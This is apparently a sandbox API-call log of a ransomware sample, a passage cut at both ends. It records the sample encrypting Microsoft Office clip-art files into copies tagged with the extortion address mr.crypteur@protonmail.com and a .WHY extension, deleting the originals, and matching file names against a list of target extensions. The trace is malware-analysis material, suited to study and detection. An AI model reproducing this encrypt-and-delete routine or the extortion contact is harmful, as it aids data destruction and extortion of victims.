lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0279.190] SetEndOfFile (hFile=0x3cc) returned 1 [0279.198] CloseHandle (hObject=0x3cc) returned 1 [0279.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0279.199] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf")) returned 1 [0279.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0279.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0279.200] lstrlenW (lpString=".doc") returned 4 [0279.200] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0279.201] lstrlenW (lpString=".docx") returned 5 [0279.201] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0279.201] lstrlenW (lpString=".pdf") returned 4 [0279.201] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0279.201] lstrlenW (lpString=".xls") returned 4 [0279.201] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0279.201] lstrlenW (lpString=".xlsx") returned 5 [0279.201] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0279.201] lstrlenW (lpString=".ppt") returned 4 [0279.201] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0279.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0279.201] lstrlenW (lpString=".zip") returned 4 [0279.201] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0279.202] lstrlenW (lpString=".rar") returned 4 [0279.202] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0279.202] lstrlenW (lpString=".bz2") returned 4 [0279.202] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0279.202] lstrlenW (lpString=".7z") returned 3 [0279.202] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0279.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0279.202] lstrlenW (lpString=".dbf") returned 4 [0279.202] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0279.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0279.202] lstrlenW (lpString=".1cd") returned 4 [0279.202] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0279.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0279.203] lstrlenW (lpString=".jpg") returned 4 [0279.203] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0279.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0279.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0279.203] lstrlenW (lpString=".doc") returned 4 [0279.204] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0279.204] lstrlenW (lpString=".docx") returned 5 [0279.204] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0279.204] lstrlenW (lpString=".pdf") returned 4 [0279.204] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0279.204] lstrlenW (lpString=".xls") returned 4 [0279.204] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0279.204] lstrlenW (lpString=".xlsx") returned 5 [0279.204] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0279.204] lstrlenW (lpString=".ppt") returned 4 [0279.204] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0279.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0279.204] lstrlenW (lpString=".zip") returned 4 [0279.205] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0279.205] lstrlenW (lpString=".rar") returned 4 [0279.205] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0279.205] lstrlenW (lpString=".bz2") returned 4 [0279.205] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0279.205] lstrlenW (lpString=".7z") returned 3 [0279.205] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0279.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0279.205] lstrlenW (lpString=".dbf") returned 4 [0279.205] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0279.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0279.205] lstrlenW (lpString=".1cd") returned 4 [0279.205] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0279.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0279.205] lstrlenW (lpString=".jpg") returned 4 [0279.206] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0279.206] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0279.206] lstrlenW (lpString="BL00045_.WMF") returned 12 [0279.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0279.207] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=7862) returned 1 [0279.207] CloseHandle (hObject=0x3cc) returned 1 [0279.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x20 [0279.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0279.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0279.208] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0279.208] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0279.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0279.212] GetLastError () returned 0x0 [0279.212] ReadFile (in: hFile=0x3cc, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x1eb6, lpOverlapped=0x0) returned 1 [0279.796] WriteFile (in: hFile=0x2ec, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0x1ec0, lpOverlapped=0x0) returned 1 [0279.808] ReadFile (in: hFile=0x3cc, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0279.809] WriteFile (in: hFile=0x2ec, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0279.809] SetEndOfFile (hFile=0x2ec) returned 1 [0279.809] CloseHandle (hObject=0x2ec) returned 1 [0279.819] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0279.819] SetEndOfFile (hFile=0x3cc) returned 1 [0279.832] CloseHandle (hObject=0x3cc) returned 1 [0279.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0279.835] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf")) returned 1 [0279.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0279.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0279.836] lstrlenW (lpString=".doc") returned 4 [0279.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0279.836] lstrlenW (lpString=".docx") returned 5 [0279.836] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0279.837] lstrlenW (lpString=".pdf") returned 4 [0279.837] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0279.837] lstrlenW (lpString=".xls") returned 4 [0279.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0279.837] lstrlenW (lpString=".xlsx") returned 5 [0279.837] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0279.837] lstrlenW (lpString=".ppt") returned 4 [0279.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0279.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0279.837] lstrlenW (lpString=".zip") returned 4 [0279.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0279.837] lstrlenW (lpString=".rar") returned 4 [0279.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0279.837] lstrlenW (lpString=".bz2") returned 4 [0279.838] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0279.838] lstrlenW (lpString=".7z") returned 3 [0279.838] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0279.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0279.838] lstrlenW (lpString=".dbf") returned 4 [0279.838] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0279.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0279.838] lstrlenW (lpString=".1cd") returned 4 [0279.838] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0279.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0279.838] lstrlenW (lpString=".jpg") returned 4 [0279.839] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0280.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0280.393] lstrlenW (lpString=".doc") returned 4 [0280.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.393] lstrlenW (lpString=".docx") returned 5 [0280.393] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0280.393] lstrlenW (lpString=".pdf") returned 4 [0280.393] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.394] lstrlenW (lpString=".xls") returned 4 [0280.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.394] lstrlenW (lpString=".xlsx") returned 5 [0280.394] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0280.394] lstrlenW (lpString=".ppt") returned 4 [0280.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0280.394] lstrlenW (lpString=".zip") returned 4 [0280.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.394] lstrlenW (lpString=".rar") returned 4 [0280.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.395] lstrlenW (lpString=".bz2") returned 4 [0280.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.395] lstrlenW (lpString=".7z") returned 3 [0280.395] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0280.395] lstrlenW (lpString=".dbf") returned 4 [0280.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0280.395] lstrlenW (lpString=".1cd") returned 4 [0280.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0280.395] lstrlenW (lpString=".jpg") returned 4 [0280.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.396] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0280.396] lstrlenW (lpString="BL00194_.WMF") returned 12 [0280.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0280.838] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=3986) returned 1 [0280.838] CloseHandle (hObject=0x388) returned 1 [0280.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x20 [0280.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0280.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0280.841] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0280.841] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0280.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0280.842] GetLastError () returned 0x0 [0280.843] ReadFile (in: hFile=0x388, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0xf92, lpOverlapped=0x0) returned 1 [0280.902] WriteFile (in: hFile=0x3b0, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xfa0, lpOverlapped=0x0) returned 1 [0280.906] ReadFile (in: hFile=0x388, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0280.907] WriteFile (in: hFile=0x3b0, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0280.907] SetEndOfFile (hFile=0x3b0) returned 1 [0280.911] CloseHandle (hObject=0x3b0) returned 1 [0280.915] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0280.915] SetEndOfFile (hFile=0x388) returned 1 [0280.924] CloseHandle (hObject=0x388) returned 1 [0280.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0280.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf")) returned 1 [0280.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0280.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0280.928] lstrlenW (lpString=".doc") returned 4 [0280.928] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.928] lstrlenW (lpString=".docx") returned 5 [0280.928] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0280.929] lstrlenW (lpString=".pdf") returned 4 [0280.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.292] lstrlenW (lpString=".xls") returned 4 [0281.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.292] lstrlenW (lpString=".xlsx") returned 5 [0281.292] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.292] lstrlenW (lpString=".ppt") returned 4 [0281.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0281.293] lstrlenW (lpString=".zip") returned 4 [0281.293] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.293] lstrlenW (lpString=".rar") returned 4 [0281.293] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.293] lstrlenW (lpString=".bz2") returned 4 [0281.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.293] lstrlenW (lpString=".7z") returned 3 [0281.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0281.295] lstrlenW (lpString=".dbf") returned 4 [0281.295] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0281.296] lstrlenW (lpString=".1cd") returned 4 [0281.296] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0281.296] lstrlenW (lpString=".jpg") returned 4 [0281.296] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0281.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0281.297] lstrlenW (lpString=".doc") returned 4 [0281.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.297] lstrlenW (lpString=".docx") returned 5 [0281.297] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.297] lstrlenW (lpString=".pdf") returned 4 [0281.297] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.298] lstrlenW (lpString=".xls") returned 4 [0281.298] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.298] lstrlenW (lpString=".xlsx") returned 5 [0281.298] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.299] lstrlenW (lpString=".ppt") returned 4 [0281.299] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0281.299] lstrlenW (lpString=".zip") returned 4 [0281.299] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.299] lstrlenW (lpString=".rar") returned 4 [0281.299] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.299] lstrlenW (lpString=".bz2") returned 4 [0281.299] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.299] lstrlenW (lpString=".7z") returned 3 [0281.300] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0281.300] lstrlenW (lpString=".dbf") returned 4 [0281.300] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0281.300] lstrlenW (lpString=".1cd") returned 4 [0281.300] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0281.301] lstrlenW (lpString=".jpg") returned 4 [0281.301] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.302] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0281.302] lstrlenW (lpString="BL00242_.WMF") returned 12 [0281.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0281.382] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=4024) returned 1 [0281.383] CloseHandle (hObject=0x2ec) returned 1 [0281.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x20 [0281.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0281.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0281.384] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0281.384] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0281.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0281.387] GetLastError () returned 0x0 [0281.387] ReadFile (hFile=0x2ec, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0) Thread: id = 43 os_tid = 0x66c [0206.687] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10000) returned 0x3bb02a8 [0206.688] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10000) returned 0x3bc02b0 [0206.690] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e9368 [0206.690] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x6) returned 0x6415a0 [0206.690] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e9380 [0206.690] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x100000) returned 0x4160020 [0206.690] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e9398 [0206.690] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e9398, Size=0x20) returned 0x620390 [0206.690] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e9398 [0206.691] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e9398, Size=0x20) returned 0x620318 [0206.691] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75c40000 [0206.691] GetProcAddress (hModule=0x75c40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c6d650 [0206.691] Wow64DisableWow64FsRedirection (in: OldValue=0x366ff58 | out: OldValue=0x366ff58*=0x0) returned 1 [0206.691] lstrlenW (lpString="kernel32.dll") returned 12 [0206.691] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x620390 | out: hHeap=0x590000) returned 1 [0206.691] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0206.691] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x620318 | out: hHeap=0x590000) returned 1 [0206.692] Sleep (dwMilliseconds=0x64) [0207.144] Sleep (dwMilliseconds=0x64) [0207.439] Sleep (dwMilliseconds=0x64) [0207.870] 